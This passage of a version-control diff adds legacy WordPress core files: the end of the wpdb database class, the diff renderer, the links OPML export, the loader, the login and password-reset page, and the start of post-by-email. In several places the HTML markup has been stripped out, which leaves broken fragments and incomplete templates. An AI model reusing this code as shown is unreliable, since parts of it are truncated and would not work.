specified column from the previous SQL result. + * + * @since 0.71 + * + * @param string|null $query SQL query. If null, use the result from the previous query. + * @param int $x Column to return. Indexed from 0. + * @return array Database query result. Array indexed from 0 by SQL result row number. + */ + function get_col($query = null , $x = 0) { + if ( $query ) + $this->query($query); + + $new_array = array(); + // Extract the column values + for ( $i=0; $i < count($this->last_result); $i++ ) { + $new_array[$i] = $this->get_var(null, $x, $i); + } + return $new_array; + } + + /** + * Retrieve an entire SQL result set from the database (i.e., many rows) + * + * Executes a SQL query and returns the entire SQL result. + * + * @since 0.71 + * + * @param string $query SQL query. + * @param string $output (optional) ane of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants. With one of the first three, return an array of rows indexed from 0 by SQL result row number. Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively. With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value. Duplicate keys are discarded. + * @return mixed Database query results + */ + function get_results($query = null, $output = OBJECT) { + $this->func_call = "\$db->get_results(\"$query\", $output)"; + + if ( $query ) + $this->query($query); + else + return null; + + if ( $output == OBJECT ) { + // Return an integer-keyed array of row objects + return $this->last_result; + } elseif ( $output == OBJECT_K ) { + // Return an array of row objects with keys from column 1 + // (Duplicates are discarded) + foreach ( $this->last_result as $row ) { + $key = array_shift( get_object_vars( $row ) ); + if ( !isset( $new_array[ $key ] ) ) + $new_array[ $key ] = $row; + } + return $new_array; + } elseif ( $output == ARRAY_A || $output == ARRAY_N ) { + // Return an integer-keyed array of... + if ( $this->last_result ) { + $i = 0; + foreach( (array) $this->last_result as $row ) { + if ( $output == ARRAY_N ) { + // ...integer-keyed row arrays + $new_array[$i] = array_values( get_object_vars( $row ) ); + } else { + // ...column name-keyed row arrays + $new_array[$i] = get_object_vars( $row ); + } + ++$i; + } + return $new_array; + } + } + } + + /** + * Retrieve column metadata from the last query. + * + * @since 0.71 + * + * @param string $info_type one of name, table, def, max_length, not_null, primary_key, multiple_key, unique_key, numeric, blob, type, unsigned, zerofill + * @param int $col_offset 0: col name. 1: which table the col's in. 2: col's max length. 3: if the col is numeric. 4: col's type + * @return mixed Column Results + */ + function get_col_info($info_type = 'name', $col_offset = -1) { + if ( $this->col_info ) { + if ( $col_offset == -1 ) { + $i = 0; + foreach( (array) $this->col_info as $col ) { + $new_array[$i] = $col->{$info_type}; + $i++; + } + return $new_array; + } else { + return $this->col_info[$col_offset]->{$info_type}; + } + } + } + + /** + * Starts the timer, for debugging purposes. + * + * @since 1.5.0 + * + * @return true + */ + function timer_start() { + $mtime = microtime(); + $mtime = explode(' ', $mtime); + $this->time_start = $mtime[1] + $mtime[0]; + return true; + } + + /** + * Stops the debugging timer. + * + * @since 1.5.0 + * + * @return int Total time spent on the query, in milliseconds + */ + function timer_stop() { + $mtime = microtime(); + $mtime = explode(' ', $mtime); + $time_end = $mtime[1] + $mtime[0]; + $time_total = $time_end - $this->time_start; + return $time_total; + } + + /** + * Wraps errors in a nice header and footer and dies. + * + * Will not die if wpdb::$show_errors is true + * + * @since 1.5.0 + * + * @param string $message The Error message + * @param string $error_code (optional) A Computer readable string to identify the error. + * @return false|void + */ + function bail($message, $error_code = '500') { + if ( !$this->show_errors ) { + if ( class_exists('WP_Error') ) + $this->error = new WP_Error($error_code, $message); + else + $this->error = $message; + return false; + } + wp_die($message); + } + + /** + * Whether or not MySQL database is at least the required minimum version. + * + * @since 2.5.0 + * @uses $wp_version + * + * @return WP_Error + */ + function check_database_version() + { + global $wp_version; + // Make sure the server has MySQL 4.1.2 + if ( version_compare($this->db_version(), '4.1.2', '<') ) + return new WP_Error('database_version',sprintf(__('ERROR: WordPress %s requires MySQL 4.1.2 or higher'), $wp_version)); + } + + /** + * Whether of not the database supports collation. + * + * Called when WordPress is generating the table scheme. + * + * @since 2.5.0 + * + * @return bool True if collation is supported, false if version does not + */ + function supports_collation() { + return $this->has_cap( 'collation' ); + } + + /** + * Generic function to determine if a database supports a particular feature + * @param string $db_cap the feature + * @param false|string|resource $dbh_or_table (not implemented) Which database to test. False = the currently selected database, string = the database containing the specified table, resource = the database corresponding to the specified mysql resource. + * @return bool + */ + function has_cap( $db_cap ) { + $version = $this->db_version(); + + switch ( strtolower( $db_cap ) ) : + case 'collation' : // @since 2.5.0 + case 'group_concat' : // @since 2.7 + case 'subqueries' : // @since 2.7 + return version_compare($version, '4.1', '>='); + break; + endswitch; + + return false; + } + + /** + * Retrieve the name of the function that called wpdb. + * + * Requires PHP 4.3 and searches up the list of functions until it reaches + * the one that would most logically had called this method. + * + * @since 2.5.0 + * + * @return string The name of the calling function + */ + function get_caller() { + // requires PHP 4.3+ + if ( !is_callable('debug_backtrace') ) + return ''; + + $bt = debug_backtrace(); + $caller = array(); + + $bt = array_reverse( $bt ); + foreach ( (array) $bt as $call ) { + if ( @$call['class'] == __CLASS__ ) + continue; + $function = $call['function']; + if ( isset( $call['class'] ) ) + $function = $call['class'] . "->$function"; + $caller[] = $function; + } + $caller = join( ', ', $caller ); + + return $caller; + } + + /** + * The database version number + * @param false|string|resource $dbh_or_table (not implemented) Which database to test. False = the currently selected database, string = the database containing the specified table, resource = the database corresponding to the specified mysql resource. + * @return false|string false on failure, version number on success + */ + function db_version() { + return preg_replace('/[^0-9.].*/', '', mysql_get_server_info( $this->dbh )); + } +} + +if ( ! isset($wpdb) ) { + /** + * WordPress Database Object, if it isn't set already in wp-content/db.php + * @global object $wpdb Creates a new wpdb object based on wp-config.php Constants for the database + * @since 0.71 + */ + $wpdb = new wpdb(DB_USER, DB_PASSWORD, DB_NAME, DB_HOST); +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/wp-diff.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/wp-diff.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,471 @@ +$parent( $params ); + } + + /** + * @ignore + * + * @param string $header + * @return string + */ + function _startBlock( $header ) { + return ''; + } + + /** + * @ignore + * + * @param array $lines + * @param string $prefix + */ + function _lines( $lines, $prefix=' ' ) { + } + + /** + * @ignore + * + * @param string $line HTML-escape the value. + * @return string + */ + function addedLine( $line ) { + return "+{$line}"; + } + + /** + * @ignore + * + * @param string $line HTML-escape the value. + * @return string + */ + function deletedLine( $line ) { + return "-{$line}"; + } + + /** + * @ignore + * + * @param string $line HTML-escape the value. + * @return string + */ + function contextLine( $line ) { + return " {$line}"; + } + + /** + * @ignore + * + * @return string + */ + function emptyLine() { + return ' '; + } + + /** + * @ignore + * @access private + * + * @param array $lines + * @param bool $encode + * @return string + */ + function _added( $lines, $encode = true ) { + $r = ''; + foreach ($lines as $line) { + if ( $encode ) + $line = htmlspecialchars( $line ); + $r .= '' . $this->emptyLine() . $this->addedLine( $line ) . "\n"; + } + return $r; + } + + /** + * @ignore + * @access private + * + * @param array $lines + * @param bool $encode + * @return string + */ + function _deleted( $lines, $encode = true ) { + $r = ''; + foreach ($lines as $line) { + if ( $encode ) + $line = htmlspecialchars( $line ); + $r .= '' . $this->deletedLine( $line ) . $this->emptyLine() . "\n"; + } + return $r; + } + + /** + * @ignore + * @access private + * + * @param array $lines + * @param bool $encode + * @return string + */ + function _context( $lines, $encode = true ) { + $r = ''; + foreach ($lines as $line) { + if ( $encode ) + $line = htmlspecialchars( $line ); + $r .= '' . + $this->contextLine( $line ) . $this->contextLine( $line ) . "\n"; + } + return $r; + } + + /** + * Process changed lines to do word-by-word diffs for extra highlighting. + * + * (TRAC style) sometimes these lines can actually be deleted or added rows. + * We do additional processing to figure that out + * + * @access private + * @since 2.6.0 + * + * @param array $orig + * @param array $final + * @return string + */ + function _changed( $orig, $final ) { + $r = ''; + + // Does the aforementioned additional processing + // *_matches tell what rows are "the same" in orig and final. Those pairs will be diffed to get word changes + // match is numeric: an index in other column + // match is 'X': no match. It is a new row + // *_rows are column vectors for the orig column and the final column. + // row >= 0: an indix of the $orig or $final array + // row < 0: a blank row for that column + list($orig_matches, $final_matches, $orig_rows, $final_rows) = $this->interleave_changed_lines( $orig, $final ); + + + // These will hold the word changes as determined by an inline diff + $orig_diffs = array(); + $final_diffs = array(); + + // Compute word diffs for each matched pair using the inline diff + foreach ( $orig_matches as $o => $f ) { + if ( is_numeric($o) && is_numeric($f) ) { + $text_diff = new Text_Diff( 'auto', array( array($orig[$o]), array($final[$f]) ) ); + $renderer = new $this->inline_diff_renderer; + $diff = $renderer->render( $text_diff ); + + // If they're too different, don't include any or + if ( $diff_count = preg_match_all( '!(.*?|.*?)!', $diff, $diff_matches ) ) { + // length of all text between or + $stripped_matches = strlen(strip_tags( join(' ', $diff_matches[0]) )); + // since we count lengith of text between or (instead of picking just one), + // we double the length of chars not in those tags. + $stripped_diff = strlen(strip_tags( $diff )) * 2 - $stripped_matches; + $diff_ratio = $stripped_matches / $stripped_diff; + if ( $diff_ratio > $this->_diff_threshold ) + continue; // Too different. Don't save diffs. + } + + // Un-inline the diffs by removing del or ins + $orig_diffs[$o] = preg_replace( '|.*?|', '', $diff ); + $final_diffs[$f] = preg_replace( '|.*?|', '', $diff ); + } + } + + foreach ( array_keys($orig_rows) as $row ) { + // Both columns have blanks. Ignore them. + if ( $orig_rows[$row] < 0 && $final_rows[$row] < 0 ) + continue; + + // If we have a word based diff, use it. Otherwise, use the normal line. + $orig_line = isset($orig_diffs[$orig_rows[$row]]) + ? $orig_diffs[$orig_rows[$row]] + : htmlspecialchars($orig[$orig_rows[$row]]); + $final_line = isset($final_diffs[$final_rows[$row]]) + ? $final_diffs[$final_rows[$row]] + : htmlspecialchars($final[$final_rows[$row]]); + + if ( $orig_rows[$row] < 0 ) { // Orig is blank. This is really an added row. + $r .= $this->_added( array($final_line), false ); + } elseif ( $final_rows[$row] < 0 ) { // Final is blank. This is really a deleted row. + $r .= $this->_deleted( array($orig_line), false ); + } else { // A true changed row. + $r .= '' . $this->deletedLine( $orig_line ) . $this->addedLine( $final_line ) . "\n"; + } + } + + return $r; + } + + /** + * Takes changed blocks and matches which rows in orig turned into which rows in final. + * + * Returns + * *_matches ( which rows match with which ) + * *_rows ( order of rows in each column interleaved with blank rows as + * necessary ) + * + * @since 2.6.0 + * + * @param unknown_type $orig + * @param unknown_type $final + * @return unknown + */ + function interleave_changed_lines( $orig, $final ) { + + // Contains all pairwise string comparisons. Keys are such that this need only be a one dimensional array. + $matches = array(); + foreach ( array_keys($orig) as $o ) { + foreach ( array_keys($final) as $f ) { + $matches["$o,$f"] = $this->compute_string_distance( $orig[$o], $final[$f] ); + } + } + asort($matches); // Order by string distance. + + $orig_matches = array(); + $final_matches = array(); + + foreach ( $matches as $keys => $difference ) { + list($o, $f) = explode(',', $keys); + $o = (int) $o; + $f = (int) $f; + + // Already have better matches for these guys + if ( isset($orig_matches[$o]) && isset($final_matches[$f]) ) + continue; + + // First match for these guys. Must be best match + if ( !isset($orig_matches[$o]) && !isset($final_matches[$f]) ) { + $orig_matches[$o] = $f; + $final_matches[$f] = $o; + continue; + } + + // Best match of this final is already taken? Must mean this final is a new row. + if ( isset($orig_matches[$o]) ) + $final_matches[$f] = 'x'; + + // Best match of this orig is already taken? Must mean this orig is a deleted row. + elseif ( isset($final_matches[$f]) ) + $orig_matches[$o] = 'x'; + } + + // We read the text in this order + ksort($orig_matches); + ksort($final_matches); + + + // Stores rows and blanks for each column. + $orig_rows = $orig_rows_copy = array_keys($orig_matches); + $final_rows = array_keys($final_matches); + + // Interleaves rows with blanks to keep matches aligned. + // We may end up with some extraneous blank rows, but we'll just ignore them later. + foreach ( $orig_rows_copy as $orig_row ) { + $final_pos = array_search($orig_matches[$orig_row], $final_rows, true); + $orig_pos = (int) array_search($orig_row, $orig_rows, true); + + if ( false === $final_pos ) { // This orig is paired with a blank final. + array_splice( $final_rows, $orig_pos, 0, -1 ); + } elseif ( $final_pos < $orig_pos ) { // This orig's match is up a ways. Pad final with blank rows. + $diff_pos = $final_pos - $orig_pos; + while ( $diff_pos < 0 ) + array_splice( $final_rows, $orig_pos, 0, $diff_pos++ ); + } elseif ( $final_pos > $orig_pos ) { // This orig's match is down a ways. Pad orig with blank rows. + $diff_pos = $orig_pos - $final_pos; + while ( $diff_pos < 0 ) + array_splice( $orig_rows, $orig_pos, 0, $diff_pos++ ); + } + } + + + // Pad the ends with blank rows if the columns aren't the same length + $diff_count = count($orig_rows) - count($final_rows); + if ( $diff_count < 0 ) { + while ( $diff_count < 0 ) + array_push($orig_rows, $diff_count++); + } elseif ( $diff_count > 0 ) { + $diff_count = -1 * $diff_count; + while ( $diff_count < 0 ) + array_push($final_rows, $diff_count++); + } + + return array($orig_matches, $final_matches, $orig_rows, $final_rows); + +/* + // Debug + echo "\n\n\n\n\n"; + + echo "-- DEBUG Matches: Orig -> Final --"; + + foreach ( $orig_matches as $o => $f ) { + echo "\n\n\n\n\n"; + echo "ORIG: $o, FINAL: $f\n"; + var_dump($orig[$o],$final[$f]); + } + echo "\n\n\n\n\n"; + + echo "-- DEBUG Matches: Final -> Orig --"; + + foreach ( $final_matches as $f => $o ) { + echo "\n\n\n\n\n"; + echo "FINAL: $f, ORIG: $o\n"; + var_dump($final[$f],$orig[$o]); + } + echo "\n\n\n\n\n"; + + echo "-- DEBUG Rows: Orig -- Final --"; + + echo "\n\n\n\n\n"; + foreach ( $orig_rows as $row => $o ) { + if ( $o < 0 ) + $o = 'X'; + $f = $final_rows[$row]; + if ( $f < 0 ) + $f = 'X'; + echo "$o -- $f\n"; + } + echo "\n\n\n\n\n"; + + echo "-- END DEBUG --"; + + echo "\n\n\n\n\n"; + + return array($orig_matches, $final_matches, $orig_rows, $final_rows); +*/ + } + + /** + * Computes a number that is intended to reflect the "distance" between two strings. + * + * @since 2.6.0 + * + * @param string $string1 + * @param string $string2 + * @return int + */ + function compute_string_distance( $string1, $string2 ) { + // Vectors containing character frequency for all chars in each string + $chars1 = count_chars($string1); + $chars2 = count_chars($string2); + + // L1-norm of difference vector. + $difference = array_sum( array_map( array(&$this, 'difference'), $chars1, $chars2 ) ); + + // $string1 has zero length? Odd. Give huge penalty by not dividing. + if ( !$string1 ) + return $difference; + + // Return distance per charcter (of string1) + return $difference / strlen($string1); + } + + /** + * @ignore + * @since 2.6.0 + * + * @param int $a + * @param int $b + * @return int + */ + function difference( $a, $b ) { + return abs( $a - $b ); + } + +} + +/** + * Better word splitting than the PEAR package provides. + * + * @since 2.6.0 + * @uses Text_Diff_Renderer_inline Extends + */ +class WP_Text_Diff_Renderer_inline extends Text_Diff_Renderer_inline { + + /** + * @ignore + * @since 2.6.0 + * + * @param string $string + * @param string $newlineEscape + * @return string + */ + function _splitOnWords($string, $newlineEscape = "\n") { + $string = str_replace("\0", '', $string); + $words = preg_split( '/([^\w])/u', $string, -1, PREG_SPLIT_DELIM_CAPTURE ); + $words = str_replace( "\n", $newlineEscape, $words ); + return $words; + } + +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-links-opml.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-links-opml.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,65 @@ +\n"; ?> + + + + Links for <?php echo esc_attr(get_bloginfo('name', 'display').$cat_name); ?> + GMT + + +name); + +?> + +term_id}"); + foreach ((array) $bookmarks as $bookmark) { + $title = esc_attr(apply_filters('link_title', $bookmark->link_name)); +?> + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-load.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-load.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,54 @@ +wp-config.php file. I need this before we can get started. Need more help? We got it. You can create a wp-config.php file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file.

    Create a Configuration File"/*/WP_I18N_NO_CONFIG*/, $path), /*WP_I18N_ERROR_TITLE*/"WordPress › Error"/*/WP_I18N_ERROR_TITLE*/, array('text_direction' => $text_direction)); + +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-login.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-login.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,590 @@ + element. + * @param string $message Optional. Message to display in header. + * @param WP_Error $wp_error Optional. WordPress Error Object + */ +function login_header($title = 'Log In', $message = '', $wp_error = '') { + global $error, $is_iphone, $interim_login; + + // Don't index any of these forms + add_filter( 'pre_option_blog_public', create_function( '$a', 'return 0;' ) ); + add_action( 'login_head', 'noindex' ); + + if ( empty($wp_error) ) + $wp_error = new WP_Error(); + ?> + +> + + <?php bloginfo('name'); ?> › <?php echo $title; ?> + + + + + + + + + + +

    +add('error', $error); + unset($error); + } + + if ( $wp_error->get_error_code() ) { + $errors = ''; + $messages = ''; + foreach ( $wp_error->get_error_codes() as $code ) { + $severity = $wp_error->get_error_data($code); + foreach ( $wp_error->get_error_messages($code) as $error ) { + if ( 'message' == $severity ) + $messages .= ' ' . $error . "
    \n"; + else + $errors .= ' ' . $error . "
    \n"; + } + } + if ( !empty($errors) ) + echo '
    ' . apply_filters('login_errors', $errors) . "
    \n"; + if ( !empty($messages) ) + echo '

    ' . apply_filters('login_messages', $messages) . "

    \n"; + } +} // End of login_header() + +/** + * Handles sending password retrieval email to user. + * + * @uses $wpdb WordPress Database object + * + * @return bool|WP_Error True: when finish. WP_Error on error + */ +function retrieve_password() { + global $wpdb; + + $errors = new WP_Error(); + + if ( empty( $_POST['user_login'] ) && empty( $_POST['user_email'] ) ) + $errors->add('empty_username', __('ERROR: Enter a username or e-mail address.')); + + if ( strpos($_POST['user_login'], '@') ) { + $user_data = get_user_by_email(trim($_POST['user_login'])); + if ( empty($user_data) ) + $errors->add('invalid_email', __('ERROR: There is no user registered with that email address.')); + } else { + $login = trim($_POST['user_login']); + $user_data = get_userdatabylogin($login); + } + + do_action('lostpassword_post'); + + if ( $errors->get_error_code() ) + return $errors; + + if ( !$user_data ) { + $errors->add('invalidcombo', __('ERROR: Invalid username or e-mail.')); + return $errors; + } + + // redefining user_login ensures we return the right case in the email + $user_login = $user_data->user_login; + $user_email = $user_data->user_email; + + do_action('retreive_password', $user_login); // Misspelled and deprecated + do_action('retrieve_password', $user_login); + + $allow = apply_filters('allow_password_reset', true, $user_data->ID); + + if ( ! $allow ) + return new WP_Error('no_password_reset', __('Password reset is not allowed for this user')); + else if ( is_wp_error($allow) ) + return $allow; + + $key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM $wpdb->users WHERE user_login = %s", $user_login)); + if ( empty($key) ) { + // Generate something random for a key... + $key = wp_generate_password(20, false); + do_action('retrieve_password_key', $user_login, $key); + // Now insert the new md5 key into the db + $wpdb->update($wpdb->users, array('user_activation_key' => $key), array('user_login' => $user_login)); + } + $message = __('Someone has asked to reset the password for the following site and username.') . "\r\n\r\n"; + $message .= get_option('siteurl') . "\r\n\r\n"; + $message .= sprintf(__('Username: %s'), $user_login) . "\r\n\r\n"; + $message .= __('To reset your password visit the following address, otherwise just ignore this email and nothing will happen.') . "\r\n\r\n"; + $message .= site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') . "\r\n"; + + // The blogname option is escaped with esc_html on the way into the database in sanitize_option + // we want to reverse this for the plain text arena of emails. + $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); + + $title = sprintf(__('[%s] Password Reset'), $blogname); + + $title = apply_filters('retrieve_password_title', $title); + $message = apply_filters('retrieve_password_message', $message, $key); + + if ( $message && !wp_mail($user_email, $title, $message) ) + die('

    ' . __('The e-mail could not be sent.') . "
    \n" . __('Possible reason: your host may have disabled the mail() function...') . '

    '); + + return true; +} + +/** + * Handles resetting the user's password. + * + * @uses $wpdb WordPress Database object + * + * @param string $key Hash to validate sending user's password + * @return bool|WP_Error + */ +function reset_password($key, $login) { + global $wpdb; + + $key = preg_replace('/[^a-z0-9]/i', '', $key); + + if ( empty( $key ) || !is_string( $key ) ) + return new WP_Error('invalid_key', __('Invalid key')); + + if ( empty($login) || !is_string($login) ) + return new WP_Error('invalid_key', __('Invalid key')); + + $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s AND user_login = %s", $key, $login)); + if ( empty( $user ) ) + return new WP_Error('invalid_key', __('Invalid key')); + + // Generate something random for a password... + $new_pass = wp_generate_password(); + + do_action('password_reset', $user, $new_pass); + + wp_set_password($new_pass, $user->ID); + update_usermeta($user->ID, 'default_password_nag', true); //Set up the Password change nag. + $message = sprintf(__('Username: %s'), $user->user_login) . "\r\n"; + $message .= sprintf(__('Password: %s'), $new_pass) . "\r\n"; + $message .= site_url('wp-login.php', 'login') . "\r\n"; + + // The blogname option is escaped with esc_html on the way into the database in sanitize_option + // we want to reverse this for the plain text arena of emails. + $blogname = wp_specialchars_decode(get_option('blogname'), ENT_QUOTES); + + $title = sprintf(__('[%s] Your new password'), $blogname); + + $title = apply_filters('password_reset_title', $title); + $message = apply_filters('password_reset_message', $message, $new_pass); + + if ( $message && !wp_mail($user->user_email, $title, $message) ) + die('

    ' . __('The e-mail could not be sent.') . "
    \n" . __('Possible reason: your host may have disabled the mail() function...') . '

    '); + + wp_password_change_notification($user); + + return true; +} + +/** + * Handles registering a new user. + * + * @param string $user_login User's username for logging in + * @param string $user_email User's email address to send password and add + * @return int|WP_Error Either user's ID or error on failure. + */ +function register_new_user($user_login, $user_email) { + $errors = new WP_Error(); + + $user_login = sanitize_user( $user_login ); + $user_email = apply_filters( 'user_registration_email', $user_email ); + + // Check the username + if ( $user_login == '' ) + $errors->add('empty_username', __('ERROR: Please enter a username.')); + elseif ( !validate_username( $user_login ) ) { + $errors->add('invalid_username', __('ERROR: This username is invalid. Please enter a valid username.')); + $user_login = ''; + } elseif ( username_exists( $user_login ) ) + $errors->add('username_exists', __('ERROR: This username is already registered, please choose another one.')); + + // Check the e-mail address + if ($user_email == '') { + $errors->add('empty_email', __('ERROR: Please type your e-mail address.')); + } elseif ( !is_email( $user_email ) ) { + $errors->add('invalid_email', __('ERROR: The email address isn’t correct.')); + $user_email = ''; + } elseif ( email_exists( $user_email ) ) + $errors->add('email_exists', __('ERROR: This email is already registered, please choose another one.')); + + do_action('register_post', $user_login, $user_email, $errors); + + $errors = apply_filters( 'registration_errors', $errors, $user_login, $user_email ); + + if ( $errors->get_error_code() ) + return $errors; + + $user_pass = wp_generate_password(); + $user_id = wp_create_user( $user_login, $user_pass, $user_email ); + if ( !$user_id ) { + $errors->add('registerfail', sprintf(__('ERROR: Couldn’t register you... please contact the webmaster !'), get_option('admin_email'))); + return $errors; + } + + wp_new_user_notification($user_id, $user_pass); + + return $user_id; +} + +// +// Main +// + +$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login'; +$errors = new WP_Error(); + +if ( isset($_GET['key']) ) + $action = 'resetpass'; + +// validate action so as to default to the login screen +if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login'), true) && false === has_filter('login_form_' . $action) ) + $action = 'login'; + +nocache_headers(); + +header('Content-Type: '.get_bloginfo('html_type').'; charset='.get_bloginfo('charset')); + +if ( defined('RELOCATE') ) { // Move flag is set + if ( isset( $_SERVER['PATH_INFO'] ) && ($_SERVER['PATH_INFO'] != $_SERVER['PHP_SELF']) ) + $_SERVER['PHP_SELF'] = str_replace( $_SERVER['PATH_INFO'], '', $_SERVER['PHP_SELF'] ); + + $schema = ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ) ? 'https://' : 'http://'; + if ( dirname($schema . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']) != get_option('siteurl') ) + update_option('siteurl', dirname($schema . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']) ); +} + +//Set a cookie now to see if they are supported by the browser. +setcookie(TEST_COOKIE, 'WP Cookie check', 0, COOKIEPATH, COOKIE_DOMAIN); +if ( SITECOOKIEPATH != COOKIEPATH ) + setcookie(TEST_COOKIE, 'WP Cookie check', 0, SITECOOKIEPATH, COOKIE_DOMAIN); + +// allow plugins to override the default actions, and to add extra actions if they want +do_action('login_form_' . $action); + +$http_post = ('POST' == $_SERVER['REQUEST_METHOD']); +switch ($action) { + +case 'logout' : + check_admin_referer('log-out'); + wp_logout(); + + $redirect_to = 'wp-login.php?loggedout=true'; + if ( isset( $_REQUEST['redirect_to'] ) ) + $redirect_to = $_REQUEST['redirect_to']; + + wp_safe_redirect($redirect_to); + exit(); + +break; + +case 'lostpassword' : +case 'retrievepassword' : + if ( $http_post ) { + $errors = retrieve_password(); + if ( !is_wp_error($errors) ) { + wp_redirect('wp-login.php?checkemail=confirm'); + exit(); + } + } + + if ( isset($_GET['error']) && 'invalidkey' == $_GET['error'] ) $errors->add('invalidkey', __('Sorry, that key does not appear to be valid.')); + + do_action('lost_password'); + login_header(__('Lost Password'), '

    ' . __('Please enter your username or e-mail address. You will receive a new password via e-mail.') . '

    ', $errors); + + $user_login = isset($_POST['user_login']) ? stripslashes($_POST['user_login']) : ''; + +?> + +
    +

    + +

    + +

    +
    + + + +
    + +

    + + + + +' . __('Register For This Site') . '

    ', $errors); +?> + +
    +

    + +

    +

    + +

    + +

    +
    +

    +
    + + + +
    + +

    + + + + +ID) ) { + $secure_cookie = true; + force_ssl_admin(true); + } + } + } + + if ( isset( $_REQUEST['redirect_to'] ) ) { + $redirect_to = $_REQUEST['redirect_to']; + // Redirect to https if user wants ssl + if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') ) + $redirect_to = preg_replace('|^http://|', 'https://', $redirect_to); + } else { + $redirect_to = admin_url(); + } + + if ( !$secure_cookie && is_ssl() && force_ssl_login() && !force_ssl_admin() && ( 0 !== strpos($redirect_to, 'https') ) && ( 0 === strpos($redirect_to, 'http') ) ) + $secure_cookie = false; + + $user = wp_signon('', $secure_cookie); + + $redirect_to = apply_filters('login_redirect', $redirect_to, isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '', $user); + + if ( !is_wp_error($user) ) { + if ( $interim_login ) { + $message = '

    ' . __('You have logged in successfully.') . '

    '; + login_header( '', $message ); ?> + +

    +

    + +has_cap('edit_posts') && ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) + $redirect_to = admin_url('profile.php'); + wp_safe_redirect($redirect_to); + exit(); + } + + $errors = $user; + // Clear errors if loggedout is set. + if ( !empty($_GET['loggedout']) ) + $errors = new WP_Error(); + + // If cookies are disabled we can't log in even with a valid user+pass + if ( isset($_POST['testcookie']) && empty($_COOKIE[TEST_COOKIE]) ) + $errors->add('test_cookie', __("ERROR: Cookies are blocked or not supported by your browser. You must enable cookies to use WordPress.")); + + // Some parts of this script use the main login form to display a message + if ( isset($_GET['loggedout']) && TRUE == $_GET['loggedout'] ) + $errors->add('loggedout', __('You are now logged out.'), 'message'); + elseif ( isset($_GET['registration']) && 'disabled' == $_GET['registration'] ) + $errors->add('registerdisabled', __('User registration is currently not allowed.')); + elseif ( isset($_GET['checkemail']) && 'confirm' == $_GET['checkemail'] ) + $errors->add('confirm', __('Check your e-mail for the confirmation link.'), 'message'); + elseif ( isset($_GET['checkemail']) && 'newpass' == $_GET['checkemail'] ) + $errors->add('newpass', __('Check your e-mail for your new password.'), 'message'); + elseif ( isset($_GET['checkemail']) && 'registered' == $_GET['checkemail'] ) + $errors->add('registered', __('Registration complete. Please check your e-mail.'), 'message'); + elseif ( $interim_login ) + $errors->add('expired', __('Your session has expired. Please log-in again.'), 'message'); + + login_header(__('Log In'), '', $errors); + + if ( isset($_POST['log']) ) + $user_login = ( 'incorrect_password' == $errors->get_error_code() || 'empty_password' == $errors->get_error_code() ) ? esc_attr(stripslashes($_POST['log'])) : ''; +?> + + +
    +

    + +

    +

    + +

    + +

    +

    + + + + + + + +

    +
    + + + + + +

    + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-mail.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-mail.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,228 @@ + Writing + * + * @package WordPress + */ + +/** Make sure that the WordPress bootstrap has run before continuing. */ +require(dirname(__FILE__) . '/wp-load.php'); + +/** Allow a plugin to do a complete takeover of Post by Email **/ +do_action('wp-mail.php'); + +/** Get the POP3 class with which to access the mailbox. */ +require_once( ABSPATH . WPINC . '/class-pop3.php' ); + +/** Only check at this interval for new messages. */ +if ( !defined('WP_MAIL_INTERVAL') ) + define('WP_MAIL_INTERVAL', 300); // 5 minutes + +$last_checked = get_transient('mailserver_last_checked'); + +if ( $last_checked ) + wp_die(__('Slow down cowboy, no need to check for new mails so often!')); + +set_transient('mailserver_last_checked', true, WP_MAIL_INTERVAL); + +$time_difference = get_option('gmt_offset') * 3600; + +$phone_delim = '::'; + +$pop3 = new POP3(); +$count = 0; + +if ( ! $pop3->connect(get_option('mailserver_url'), get_option('mailserver_port') ) || + ! $pop3->user(get_option('mailserver_login')) || + ( ! $count = $pop3->pass(get_option('mailserver_pass')) ) ) { + $pop3->quit(); + wp_die( ( 0 === $count ) ? __('There doesn’t seem to be any new mail.') : esc_html($pop3->ERROR) ); +} + +for ( $i = 1; $i <= $count; $i++ ) { + + $message = $pop3->get($i); + + $bodysignal = false; + $boundary = ''; + $charset = ''; + $content = ''; + $content_type = ''; + $content_transfer_encoding = ''; + $post_author = 1; + $author_found = false; + $dmonths = array('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'); + foreach ($message as $line) { + // body signal + if ( strlen($line) < 3 ) + $bodysignal = true; + if ( $bodysignal ) { + $content .= $line; + } else { + if ( 